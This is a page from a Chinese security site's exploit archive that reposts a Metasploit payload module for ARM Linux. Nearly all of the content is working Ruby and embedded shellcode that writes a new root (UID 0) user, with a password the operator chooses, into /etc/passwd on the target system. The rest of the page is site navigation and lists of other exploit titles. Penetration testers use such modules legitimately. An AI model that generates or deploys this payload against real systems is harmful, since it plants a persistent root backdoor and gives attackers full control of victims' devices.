首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Create a New User with UID 0 - ARM (Meta)
来源:http://www.metasploit.com 作者:Salwan 发布时间:2010-12-10  
# Exploit Title: Linux/ARM - Create a new user with UID 0 (MSF)
# Date: 2010-11-25
# Author: Jonathan Salwan - twitter @shell_storm
# Tested on: ARM926EJ-S rev 5 (v5l)
# Issue link: https://metasploit.com/redmine/issues/3254

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

###
#
# AddUser
# -------
#
# Adds a UID 0 user to /etc/passwd.
#
###
module Metasploit3

        include Msf::Payload::Single
        include Msf::Payload::Linux

        def initialize(info = {})
                super(merge_info(info,
                        'Name'          => 'Linux Add User',
                        'Version'       => '???',
                        'Description'   => 'Create a new user with UID 0',
                        'Author'        => [ 'Jonathan Salwan' ],
                        'License'       => MSF_LICENSE,
                        'Platform'      => 'linux',
                        'Arch'          => ARCH_ARMLE,
                        'Privileged'    => true))

                # Register adduser options
                register_options(
                        [
                                OptString.new('USER',  [ true,  "The username to create",     "metasploit" ]),
                                OptString.new('PASS',  [ true,  "The password for this user", "metasploit" ]),
                                OptString.new('SHELL', [ false, "The shell for this user",    "/bin/sh"    ]),
                        ], self.class)
        end

        #
        # Dynamically builds the adduser payload based on the user's options.
        #
        def generate_stage
                user    = datastore['USER']  || 'metasploit'
                pass    = datastore['PASS']  || 'metasploit'
                shell   = datastore['SHELL'] || '/bin/sh'
                str     = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
                strl1   = [ (str.length)+52 ].pack('C*')
                strl2   = [ str.length ].pack('C*')
                pwdir   = "/etc/passwd"
                payload =
                        "\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" +
                        "\x78\x46"+ strl1 + "\x30\xff\x21\xff\x31\xff\x31" +
                        "\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" +
                        "\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" +
                        strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" +
                        "\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" +
                        str + pwdir

        end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·AJ Matrix DNA SQL INJECTION
·VMware Tools update OS Command
·Abtp Portal Project 0.1.0 LFI
·Apache Archiva 1.0 - 1.3.1 CSR
·RomPager 4.07 Denial Of Servic
·Freefloat FTP Server Buffer Ov
·Internet Explorer 8 CSS Parser
·MODx Revolution CMS 2.0.4-pl2
·PHP 5.3.3 NumberFormatter::get
·Winamp 5.6 Arbitrary Code Exec
·LiteSpeed Web Server 4.0.17 w/
·GNU inetutils 1.8-1 FTP Client
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved